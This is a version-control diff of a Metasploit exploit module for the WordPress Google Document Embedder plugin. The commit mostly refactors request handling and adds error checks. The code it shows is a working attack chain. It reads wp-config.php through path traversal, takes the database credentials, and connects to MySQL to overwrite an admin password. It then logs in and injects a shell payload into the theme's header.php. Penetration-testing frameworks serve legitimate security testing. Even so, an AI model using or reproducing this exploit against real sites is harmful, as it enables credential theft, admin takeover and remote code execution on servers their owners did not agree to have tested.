Changes based on Sinn3r's feedback
A bucket-load of changes! - Added a fallback for if there is no Set-Cookie header - Added a check if the cookie we produce is simply empty, meaning we failed something :( - Removed use of flatten. Though I may look into making that extraction better - Changed cgi requests to use vars_(post|get) - Clarified a few status prints - A few EOL space fixes
This commit is contained in:
@@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
blogging software plugin known as Google Document Embedder. The vulnerability allows for
|
||||
database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
|
||||
plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
|
||||
server is exposed on a accessible IP and Wordpress has filesystem write access. The
|
||||
server is exposed on a accessible IP and Wordpress has filesystem write access. The
|
||||
admin password may get changed if the exploit does not run to the end.
|
||||
},
|
||||
'Author' =>
|
||||
@@ -93,8 +93,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
print_status('Fetching wp-config.php')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php?fn=#{rand_text_alphanumeric(4)}.pdf&file=#{'../' * plugins_uri.count('/')}wp-config.php",
|
||||
'method' => 'GET',
|
||||
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",
|
||||
'vars_get' =>
|
||||
{
|
||||
'fn' => "#{rand_text_alphanumeric(4)}.pdf",
|
||||
'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.body =~ /allow_url_fopen/
|
||||
@@ -153,7 +158,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")
|
||||
|
||||
print_status("Shell acquired. Disabled backdoor")
|
||||
print_status("Shell should have been acquired. Disabled backdoor")
|
||||
end
|
||||
|
||||
def parse_wp_config(body)
|
||||
@@ -175,6 +180,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306
|
||||
|
||||
if values['DB_HOST'] =~ /(localhost|127.0.0.1)/
|
||||
print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")
|
||||
values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])
|
||||
end
|
||||
|
||||
@@ -183,24 +189,34 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
def get_wp_cookie(uri, username, password)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "#{uri}wp-login.php",
|
||||
'cookie' => 'wordpress_test_cookie=WP+Cookie+check',
|
||||
'data' => "log=#{username}&pwd=#{password}&wp-submit=Log+In&testcookie=1"
|
||||
'method' => 'POST',
|
||||
'uri' => "#{uri}wp-login.php",
|
||||
'cookie' => 'wordpress_test_cookie=WP+Cookie+check',
|
||||
'vars_post' =>
|
||||
{
|
||||
'log' => username,
|
||||
'pwd' => password,
|
||||
'wp-submit' => 'Log+In',
|
||||
'testcookie' => '1',
|
||||
},
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "Admin login failed")
|
||||
fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed')
|
||||
elsif res and res.code != 302
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
|
||||
end
|
||||
|
||||
admin_cookie = ""
|
||||
res.headers['Set-Cookie'].split(',').each do |cookie|
|
||||
admin_cookie = ''
|
||||
(res.headers['Set-Cookie'] || '').split(',').each do |cookie|
|
||||
admin_cookie << cookie.split(';')[0]
|
||||
admin_cookie << ';'
|
||||
end
|
||||
|
||||
if admin_cookie.empty?
|
||||
fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty')
|
||||
end
|
||||
|
||||
return admin_cookie
|
||||
end
|
||||
|
||||
@@ -217,19 +233,26 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access')
|
||||
end
|
||||
|
||||
nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/).flatten![0].to_s
|
||||
old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m).flatten![0].to_s))
|
||||
theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/).flatten![0].to_s
|
||||
nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s
|
||||
old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))
|
||||
theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s
|
||||
|
||||
return [theme, nonce, old_content]
|
||||
end
|
||||
|
||||
def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "#{admin_uri}theme-editor.php?",
|
||||
'cookie' => admin_cookie,
|
||||
'data' => "_wpnonce=#{nonce}&theme=#{theme}&newcontent=#{Rex::Text.uri_encode(new_content)}&action=update&file=header.php"
|
||||
'method' => 'POST',
|
||||
'uri' => "#{admin_uri}theme-editor.php?",
|
||||
'cookie' => admin_cookie,
|
||||
'vars_post' =>
|
||||
{
|
||||
'_wpnonce' => nonce,
|
||||
'theme' => theme,
|
||||
'newcontent' => new_content,
|
||||
'action' => 'update',
|
||||
'file' => 'header.php'
|
||||
},
|
||||
})
|
||||
|
||||
if res and res.code != 302
|
||||
|
||||
Reference in New Issue
Block a user